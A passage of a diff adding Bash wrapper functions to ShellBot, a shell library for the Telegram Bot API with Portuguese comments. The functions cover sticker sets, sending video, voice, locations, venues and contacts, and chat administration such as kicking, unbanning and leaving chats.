+		jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${sticker:+-d sticker="$sticker"} \
+									${position:+-d position="$position"})
+    	
+		# Testa o retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+		# Status
+    	return $?
+				
+	}
+	
+	ShellBot.deleteStickerFromSet()
+	{
+		local sticker jq_obj
+
+		local param=$(getopt --name "$FUNCNAME" \
+							 --options 's:' \
+							 --longoptions 'sticker:' \
+							 -- "$@")
+		
+		eval set -- "$param"
+
+		while :
+		do
+			case $1 in
+				-s|--sticker)
+					sticker=$2
+					shift 2
+					;;
+				--)
+					shift
+					break
+					;;
+			esac
+		done
+		
+		[[ $sticker ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --sticker]"
+    	
+		jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${sticker:+-d sticker="$sticker"})
+    	
+		# Testa o retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    	
+		# Status
+    	return $?
+				
+	}
+	
+	ShellBot.stickerMaskPosition()
+	{
+
+		local point x_shift y_shift scale zoom
+		
+		local param=$(getopt --name "$FUNCNAME" \
+							 --options 'p:x:y:s:z:' \
+							 --longoptions 'point:,
+											x_shift:,
+											y_shift:,
+											scale:,
+											zoom:' \
+							 -- "$@")
+
+		eval set -- "$param"
+		
+		while :
+		do
+			case $1 in
+				-p|--point)
+					point=$2
+					shift 2
+					;;
+				-x|--x_shift)
+					CheckArgType float "$1" "$2"
+					x_shift=$2
+					shift 2
+					;;
+				-y|--y_shift)
+					CheckArgType float "$1" "$2"
+					y_shift=$2
+					shift 2
+					;;
+				-s|--scale)
+					CheckArgType float "$1" "$2"
+					scale=$2
+					shift 2
+					;;
+				-z|--zoom)
+					CheckArgType float "$1" "$2"
+					zoom=$2
+					shift 2
+					;;
+				--)
+					shift
+					break
+					;;
+			esac
+		done
+		
+		[[ $point ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-p, --point]"
+		[[ $x_shift ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-x, --x_shift]"
+		[[ $y_shift ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-y, --y_shift]"
+		[[ $scale ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --scale]"
+		[[ $zoom ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-z, --zoom]"
+		
+		cat << _EOF
+{ "point": "$point", "x_shift": $x_shift, "y_shift": $y_shift, "scale": $scale, "zoom": $zoom }
+_EOF
+
+	return 0
+
+	}
+
+	ShellBot.createNewStickerSet()
+	{
+		local user_id name title png_sticker emojis contains_masks mask_position jq_obj
+		
+		local param=$(getopt --name "$FUNCNAME" \
+							 --options 'u:n:t:s:e:c:m:' \
+							 --longoptions 'user_id:,
+											name:,
+											title:,
+											png_sticker:,
+											emojis:,
+											contains_mask:,
+											mask_position:' \
+							 -- "$@")
+
+		eval set -- "$param"
+		
+		while :
+		do
+			case $1 in
+				-u|--user_id)
+					CheckArgType int "$1" "$2"
+					user_id=$2
+					shift 2
+					;;
+				-n|--name)
+					name=$2
+					shift 2
+					;;
+				-t|--title)
+					title=$2
+					shift 2
+					;;
+				-s|--png_sticker)
+					CheckArgType file "$1" "$2"
+					png_sticker=$2
+					shift 2
+					;;
+				-e|--emojis)
+					emojis=$2
+					shift 2
+					;;
+				-c|--contains_masks)
+    				CheckArgType bool "$1" "$2"
+					contains_masks=$2
+					shift 2
+					;;
+				-m|--mask_position)
+					mask_position=$2
+					shift 2
+					;;
+				--)
+					shift
+					break
+					;;
+			esac
+		done
+		
+		[[ $user_id ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --user_id]"
+		[[ $name ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-n, --name]"
+		[[ $title ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-t, --title]"
+		[[ $png_sticker ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --png_sticker]"
+		[[ $emojis ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-e, --emojis]"
+	
+		jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${user_id:+-F user_id="$user_id"} \
+									${name:+-F name="$name"} \
+									${title:+-F title="$title"} \
+									${png_sticker:+-F png_sticker="$png_sticker"} \
+									${emojis:+-F emojis="$emojis"} \
+									${contains_masks:+-F contains_masks="$contains_masks"} \
+									${mask_position:+-F mask_position="$mask_position"})
+    	
+		# Testa o retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    	
+		# Status
+    	return $?
+			
+	}
+	
+	ShellBot.addStickerToSet()
+	{
+		local user_id name png_sticker emojis mask_position jq_obj
+		
+		local param=$(getopt --name "$FUNCNAME" \
+							 --options 'u:n:s:e:m:' \
+							 --longoptions 'user_id:,
+											name:,
+											png_sticker:,
+											emojis:,
+											mask_position:' \
+							 -- "$@")
+
+		eval set -- "$param"
+		
+		while :
+		do
+			case $1 in
+				-u|--user_id)
+					CheckArgType int "$1" "$2"
+					user_id=$2
+					shift 2
+					;;
+				-n|--name)
+					name=$2
+					shift 2
+					;;
+				-s|--png_sticker)
+					CheckArgType file "$1" "$2"
+					png_sticker=$2
+					shift 2
+					;;
+				-e|--emojis)
+					emojis=$2
+					shift 2
+					;;
+				-m|--mask_position)
+					mask_position=$2
+					shift 2
+					;;
+				--)
+					shift
+					break
+					;;
+			esac
+		done
+		
+		[[ $user_id ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --user_id]"
+		[[ $name ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-n, --name]"
+		[[ $png_sticker ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-s, --png_sticker]"
+		[[ $emojis ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-e, --emojis]"
+	
+		jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${user_id:+-F user_id="$user_id"} \
+									${name:+-F name="$name"} \
+									${png_sticker:+-F png_sticker="$png_sticker"} \
+									${emojis:+-F emojis="$emojis"} \
+									${mask_position:+-F mask_position="$mask_position"})
+    	
+		# Testa o retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    	
+		# Status
+    	return $?
+			
+	}
+
+    # Função para enviar arquivos de vídeo.
+    ShellBot.sendVideo()
+    {
+    	# Variáveis locais
+    	local chat_id video duration width height caption disable_notification
+		local parse_mode reply_to_message_id reply_markup jq_obj supports_streaming
+    
+    	# Lê os parâmetros da função
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:v:d:w:h:t:m:n:r:k:s:' \
+							 --longoptions 'chat_id:,
+    										video:,
+    										duration:,
+    										width:,
+    										height:,
+    										caption:,
+											parse_mode:,
+    										disable_notification:,
+    										reply_to_message_id:,
+    										reply_markup:,
+											supports_streaming:' \
+    						 -- "$@")
+    
+    	
+    	# Define os parâmetros posicionais
+    	eval set -- "$param"
+    
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			-v|--video)
+					CheckArgType file "$1" "$2"
+    				video=$2
+    				shift 2
+    				;;
+    			-d|--duration)
+    				# Tipo: inteiro
+    				CheckArgType int "$1" "$2"
+    				duration=$2
+    				shift 2
+    				;;
+    			-w|--width)
+    				# Tipo: inteiro
+    				CheckArgType int "$1" "$2"
+    				width=$2
+    				shift 2
+    				;;
+    			-h|--height)
+    				# Tipo: inteiro
+    				CheckArgType int "$1" "$2"
+    				height=$2
+    				shift 2
+    				;;
+    			-t|--caption)
+					caption=$(echo -e "$2")
+    				shift 2
+    				;;
+				-m|--parse_mode)
+					parse_mode=$2
+					shift 2
+					;;
+    			-n|--disable_notification)
+    				# Tipo: boolean
+    				CheckArgType bool "$1" "$2"
+    				disable_notification=$2
+    				shift 2
+    				;;
+    			-r|--reply_to_message_id)
+    				CheckArgType int "$1" "$2"
+    				reply_to_message_id=$2
+    				shift 2
+    				;;
+    			-k|--reply_markup)
+    				reply_markup=$2
+    				shift 2
+    				;;
+				-s|--supports_streaming)
+    				CheckArgType bool "$1" "$2"
+					supports_streaming=$2
+					shift 2
+					;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	# Parâmetros obrigatórios.
+    	[[ $chat_id ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $video ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-v, --video]"
+    
+    	# Chama o método
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-F chat_id="$chat_id"} \
+									${video:+-F video="$video"} \
+									${duration:+-F duration="$duration"} \
+									${width:+-F width="$width"} \
+									${height:+-F height="$height"} \
+									${caption:+-F caption="$caption"} \
+									${parse_mode:+-F parse_mode="$parse_mode"} \
+									${disable_notification:+-F disable_notification="$disable_notification"} \
+    								${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \
+    								${reply_markup:+-F reply_markup="$reply_markup"} \
+									${supports_streaming:+-F supports_streaming="$supports_streaming"})
+    
+    	# Testa o retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# Status
+    	return $?
+    	
+    }
+    
+    # Função para enviar audio.
+    ShellBot.sendVoice()
+    {
+    	# Variáveis locais
+    	local chat_id voice caption duration disable_notification 
+		local parse_mode reply_to_message_id reply_markup jq_obj
+    
+    	# Lê os parâmetros da função
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:v:t:m:d:n:r:k:' \
+    						 --longoptions 'chat_id:,
+    										voice:,
+    										caption:,
+											parse_mode:,
+    										duration:,
+    										disable_notification:,
+    										reply_to_message_id:,
+    										reply_markup:' \
+    						 -- "$@")
+    
+    	
+    	# Define os parâmetros posicionais
+    	eval set -- "$param"
+    
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			-v|--voice)
+					CheckArgType file "$1" "$2"
+    				voice=$2
+    				shift 2
+    				;;
+    			-t|--caption)
+					caption=$(echo -e "$2")
+    				shift 2
+    				;;
+				-m|--parse_mode)
+					parse_mode=$2
+					shift 2
+					;;
+    			-d|--duration)
+    				# Tipo: inteiro
+    				CheckArgType int "$1" "$2"
+    				duration=$2
+    				shift 2
+    				;;
+    			-n|--disable_notification)
+    				# Tipo: boolean
+    				CheckArgType bool "$1" "$2"
+    				disable_notification=$2
+    				shift 2
+    				;;
+    			-r|--reply_to_message_id)
+    				# Tipo: inteiro
+    				CheckArgType int "$1" "$2"
+    				reply_to_message_id=$2
+    				shift 2
+    				;;
+    			-k|--reply_markup)
+    				reply_markup=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+					;;
+    		esac
+    	done
+    	
+    	# Parâmetros obrigatórios.
+    	[[ $chat_id ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $voice ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-v, --voice]"
+    	
+    	# Chama o método
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-F chat_id="$chat_id"} \
+    								${voice:+-F voice="$voice"} \
+    								${caption:+-F caption="$caption"} \
+									${parse_mode:+-F parse_mode="$parse_mode"} \
+    								${duration:+-F duration="$duration"} \
+    								${disable_notification:+-F disable_notification="$disable_notification"} \
+    								${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \
+    								${reply_markup:+-F reply_markup="$reply_markup"})
+    
+    	# Testa o retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# Status
+    	return $?
+    	
+    }
+    
+    # Função utilizada para enviar uma localidade utilizando coordenadas de latitude e longitude.
+    ShellBot.sendLocation()
+    {
+    	# Variáveis locais
+    	local chat_id latitude longitude live_period
+		local disable_notification reply_to_message_id reply_markup jq_obj
+    
+    	# Lê os parâmetros da função
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:l:g:p:n:r:k:' \
+    						 --longoptions 'chat_id:,
+    										latitude:,
+    										longitude:,
+											live_period:,
+    										disable_notification:,
+    										reply_to_message_id:,
+    										reply_markup:' \
+    						 -- "$@")
+    
+    	
+    	# Define os parâmetros posicionais
+    	eval set -- "$param"
+    	
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			-l|--latitude)
+    				# Tipo: float
+    				CheckArgType float "$1" "$2"
+    				latitude=$2
+    				shift 2
+    				;;
+    			-g|--longitude)
+    				# Tipo: float
+    				CheckArgType float "$1" "$2"
+    				longitude=$2
+    				shift 2
+    				;;
+				-p|--live_period)
+    				CheckArgType int "$1" "$2"
+					live_period=$2
+					shift 2
+					;;
+    			-n|--disable_notification)
+    				# Tipo: boolean
+    				CheckArgType bool "$1" "$2"
+    				disable_notification=$2
+    				shift 2
+    				;;
+    			-r|--reply_to_message_id)
+    				# Tipo: inteiro
+    				CheckArgType int "$1" "$2"
+    				reply_to_message_id=$2
+    				shift 2
+    				;;
+    			-k|--reply_markup)
+    				reply_markup=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+					;;
+    		esac
+    	done
+    	
+    	# Parâmetros obrigatórios
+    	[[ $chat_id ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $latitude ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-l, --latitude]"
+    	[[ $longitude ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-g, --longitude]"
+    			
+    	# Chama o método
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-F chat_id="$chat_id"} \
+    								${latitude:+-F latitude="$latitude"} \
+    								${longitude:+-F longitude="$longitude"} \
+									${live_period:+-F live_period="$live_period"} \
+    								${disable_notification:+-F disable_notification="$disable_notification"} \
+    								${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \
+    								${reply_markup:+-F reply_markup="$reply_markup"})
+    
+    	# Testa o retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	return $?
+    	
+    }
+    
+    # Função utlizada para enviar detalhes de um local.
+    ShellBot.sendVenue()
+    {
+    	# Variáveis locais
+    	local chat_id latitude longitude title address foursquare_id disable_notification reply_to_message_id reply_markup jq_obj
+    	
+    	# Lê os parâmetros da função
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:l:g:i:a:f:n:r:k:' \
+    						 --longoptions 'chat_id:,
+    										latitude:,
+    										longitude:,
+    										title:,
+    										address:,
+    										foursquare_id:,
+    										disable_notification:,
+    										reply_to_message_id:,
+    										reply_markup:' \
+    						 -- "$@")
+    
+    	# Define os parâmetros posicionais
+    	eval set -- "$param"
+    	
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			-l|--latitude)
+    				# Tipo: float
+    				CheckArgType float "$1" "$2"
+    				latitude=$2
+    				shift 2
+    				;;
+    			-g|--longitude)
+    				# Tipo: float
+    				CheckArgType float "$1" "$2"
+    				longitude=$2
+    				shift 2
+    				;;
+    			-i|--title)
+    				title=$2
+    				shift 2
+    				;;
+    			-a|--address)
+    				address=$2
+    				shift 2
+    				;;
+    			-f|--foursquare_id)
+    				foursquare_id=$2
+    				shift 2
+    				;;
+    			-n|--disable_notification)
+    				# Tipo: boolean
+    				CheckArgType bool "$1" "$2"
+    				disable_notification=$2
+    				shift 2
+    				;;
+    			-r|--reply_to_message_id)
+    				# Tipo: inteiro
+    				CheckArgType int "$1" "$2"
+    				reply_to_message_id=$2
+    				shift 2
+    				;;
+    			-k|--reply_markup)
+    				reply_markup=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+					;;
+    		esac
+    	done
+    			
+    	# Parâmetros obrigatórios.
+    	[[ $chat_id ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $latitude ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-l, --latitude]"
+    	[[ $longitude ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-g, --longitude]"
+    	[[ $title ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-i, --title]"
+    	[[ $address ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-a, --address]"
+    	
+    	# Chama o método
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-F chat_id="$chat_id"} \
+    								${latitude:+-F latitude="$latitude"} \
+    								${longitude:+-F longitude="$longitude"} \
+    								${title:+-F title="$title"} \
+    								${address:+-F address="$address"} \
+    								${foursquare_id:+-F foursquare_id="$foursquare_id"} \
+    								${disable_notification:+-F disable_notification="$disable_notification"} \
+    								${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \
+    								${reply_markup:+-F reply_markup="$reply_markup"})
+    
+    	# Testa o retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# Status
+    	return $?
+    }
+    
+    # Utilize essa função para enviar um contato + numero
+    ShellBot.sendContact()
+    {
+    	# Variáveis locais
+    	local chat_id phone_number first_name last_name disable_notification reply_to_message_id reply_markup jq_obj
+    	
+    	# Lê os parâmetros da função
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:p:f:l:n:r:k:' \
+    						 --longoptions 'chat_id:,
+    										phone_number:,
+    										first_name:,
+    										last_name:,
+    										disable_notification:,
+    										reply_to_message_id:,
+    										reply_markup:' \
+    						 -- "$@")
+    
+    
+    	# Define os parâmetros posicionais
+    	eval set -- "$param"
+    
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			-p|--phone_number)
+    				phone_number=$2
+    				shift 2
+    				;;
+    			-f|--first_name)
+    				first_name=$2
+    				shift 2
+    				;;
+    			-l|--last_name)
+    				last_name=$2
+    				shift 2
+    				;;
+    			-n|--disable_notification)
+    				# Tipo: boolean
+    				CheckArgType bool "$1" "$2"
+    				disable_notification=$2
+    				shift 2
+    				;;
+    			-r|--reply_to_message_id)
+    				# Tipo: inteiro
+    				CheckArgType int "$1" "$2"
+    				reply_to_message_id=$2
+    				shift 2
+    				;;
+    			-k|--reply_markup)
+    				reply_markup=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+					;;
+    		esac
+    	done
+    	
+    	# Parâmetros obrigatórios.	
+    	[[ $chat_id ]] 		|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $phone_number ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-p, --phone_number]"
+    	[[ $first_name ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-f, --first_name]"
+    	
+    	# Chama o método
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-F chat_id="$chat_id"} \
+    								${phone_number:+-F phone_number="$phone_number"} \
+    								${first_name:+-F first_name="$first_name"} \
+    								${last_name:+-F last_name="$last_name"} \
+    								${disable_notification:+-F disable_notification="$disable_notification"} \
+    								${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"} \
+    								${reply_markup:+-F reply_markup="$reply_markup"})
+    
+    	# Testa o retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# Status
+    	return $?
+    }
+    
+    # Envia uma ação para bot.
+    ShellBot.sendChatAction()
+    {
+    	# Variáveis locais
+    	local chat_id action jq_obj
+    	
+    	# Lê os parâmetros da função
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:a:' \
+    						 --longoptions 'chat_id:,
+    										action:' \
+    						 -- "$@")
+    
+    	# Define os parâmetros posicionais
+    	eval set -- "$param"
+    
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			-a|--action)
+    				action=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+					;;
+    		esac
+    	done
+    
+    	# Parâmetros obrigatórios.		
+    	[[ $chat_id ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $action ]] 	|| MessageError API "$_ERR_PARAM_REQUIRED_" "[-a, --action]"
+    	
+    	# Chama o método
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-d chat_id="$chat_id"} \
+									${action:+-d action="$action"})
+    	
+    	# Testa o retorno do método
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# Status
+    	return $?
+    }
+    
+    # Utilize essa função para obter as fotos de um determinado usuário.
+    ShellBot.getUserProfilePhotos()
+    {
+    	# Variáveis locais 
+    	local user_id offset limit ind last index max item total jq_obj
+    
+    	# Lê os parâmetros da função
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'u:o:l:' \
+    						 --longoptions 'user_id:,
+    										offset:,
+    										limit:' \
+    						 -- "$@")
+    
+    	
+    	# Define os parâmetros posicionais
+    	eval set -- "$param"
+    	
+    	while :
+    	do
+    		case $1 in
+    			-u|--user_id)
+    				CheckArgType int "$1" "$2"
+    				user_id=$2
+    				shift 2
+    				;;
+    			-o|--offset)
+    				CheckArgType int "$1" "$2"
+    				offset=$2
+    				shift 2
+    				;;
+    			-l|--limit)
+    				CheckArgType int "$1" "$2"
+    				limit=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	# Parâmetros obrigatórios.
+    	[[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --user_id]"
+    	
+    	# Chama o método
+    	jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${user_id:+-d user_id="$user_id"} \
+									${offset:+-d offset="$offset"} \
+									${limit:+-d limit="$limit"})
+  
+    	# Verifica se ocorreu erros durante a chamada do método	
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    	
+    	# Status
+    	return $?
+    }
+    
+    # Função para listar informações do arquivo especificado.
+    ShellBot.getFile()
+    {
+    	# Variáveis locais
+    	local file_id jq_obj
+    
+    	# Lê os parâmetros da função
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'f:' \
+    						 --longoptions 'file_id:' \
+    						 -- "$@")
+    
+    	
+    	# Define os parâmetros posicionais
+    	eval set -- "$param"
+    
+    	while :
+    	do
+    		case $1 in
+    			-f|--file_id)
+    				file_id=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	# Parâmetros obrigatórios.
+    	[[ $file_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-f, --file_id]"
+    	
+    	# Chama o método.
+    	jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} ${file_id:+-d file_id="$file_id"})
+    
+    	# Testa o retorno do método.
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# Status
+    	return $?
+    }		
+    
+    # Essa função kicka o usuário do chat ou canal. (somente administradores)
+    ShellBot.kickChatMember()
+    {
+    	# Variáveis locais
+    	local chat_id user_id until_date jq_obj
+    
+    	# Lê os parâmetros da função
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:u:d:' \
+    						 --longoptions 'chat_id:,
+    										user_id:,
+    										until_date:' \
+    						 -- "$@")
+    
+    	# Define os parâmetros posicionais
+    	eval set -- "$param"
+    
+    	# Trata os parâmetros
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			-u|--user_id)
+    				CheckArgType int "$1" "$2"
+    				user_id=$2
+    				shift 2
+    				;;
+    			-d|--until_date)
+    				CheckArgType int "$1" "$2"
+    				until_date=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	# Parametros obrigatórios.
+    	[[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --user_id]"
+    	
+    	# Chama o método
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-d chat_id="$chat_id"} \
+    								${user_id:+-d user_id="$user_id"} \
+    								${until_date:+-d until_date="$until_date"})
+    
+    	# Verifica se ocorreu erros durante a chamada do método	
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# Status
+    	return $?
+    }
+    
+    # Utilize essa função para remove o bot do grupo ou canal.
+    ShellBot.leaveChat()
+    {
+    	# Variáveis locais
+    	local chat_id jq_obj
+    
+    	# Lê os parâmetros da função
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:' \
+    						 --longoptions 'chat_id:' \
+    						 -- "$@")
+    
+    	
+    	# Define os parâmetros posicionais
+    	eval set -- "$param"
+    
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    
+    	[[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"})
+    
+    	# Verifica se ocorreu erros durante a chamada do método	
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	return $?
+    	
+    }
+    
+    ShellBot.unbanChatMember()
+    {
+    	local chat_id user_id jq_obj
+    
+    	# Lê os parâmetros da função
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:u:' \
+    						 --longoptions 'chat_id:,
+    										user_id:' \
+    						 -- "$@")
+    
+    	
+    	# Define os parâmetros posicionais
+    	eval set -- "$param"
+    
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			-u|--user_id)
+    				CheckArgType int "$1" "$2"
+    				user_id=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    	
+    	[[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	[[ $user_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-u, --user_id]"
+    	
+    	jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} \
+									${chat_id:+-d chat_id="$chat_id"} \
+    								${user_id:+-d user_id="$user_id"})
+    
+    	# Verifica se ocorreu erros durante a chamada do método	
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	return $?
+    }
+    
+    ShellBot.getChat()
+    {
+    	# Variáveis locais
+    	local chat_id jq_obj
+    
+    	# Lê os parâmetros da função
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:' \
+    						 --longoptions 'chat_id:' \
+    						 -- "$@")
+    
+    	
+    	# Define os parâmetros posicionais
+    	eval set -- "$param"
+    
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    
+    	[[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	
+    	jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"})
+    
+    	# Verifica se ocorreu erros durante a chamada do método	
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    	
+    	# Status
+    	return $?
+    }
+    
+    ShellBot.getChatAdministrators()
+    {
+    	local chat_id total key index jq_obj
+    
+    	# Lê os parâmetros da função
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:' \
+    						 --longoptions 'chat_id:' \
+    						 -- "$@")
+    
+    	
+    	# Define os parâmetros posicionais
+    	eval set -- "$param"
+    
+    	while :
+    	do
+    		case $1 in
+    			-c|--chat_id)
+    				chat_id=$2
+    				shift 2
+    				;;
+    			--)
+    				shift
+    				break
+    				;;
+    		esac
+    	done
+    
+    	[[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]"
+    	
+    	jq_obj=$(curl $_CURL_OPT_ GET $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-d chat_id="$chat_id"})
+    
+    	# Verifica se ocorreu erros durante a chamada do método	
+    	MethodReturn "$jq_obj" || MessageError TG "$jq_obj"
+    
+    	# Status	
+    	return $?
+    }
+    
+    ShellBot.getChatMembersCount()
+    {
+    	local chat_id jq_obj
+    
+    	# Lê os parâmetros da função
+    	local param=$(getopt --name "$FUNCNAME" \
+							 --options 'c:' \
+    						 --longoptions 'chat_id:' \
+    						 -- "$@")
+    
+    	
+    	# Define os parâmetros posicionais
+    	eval set -- "$param"
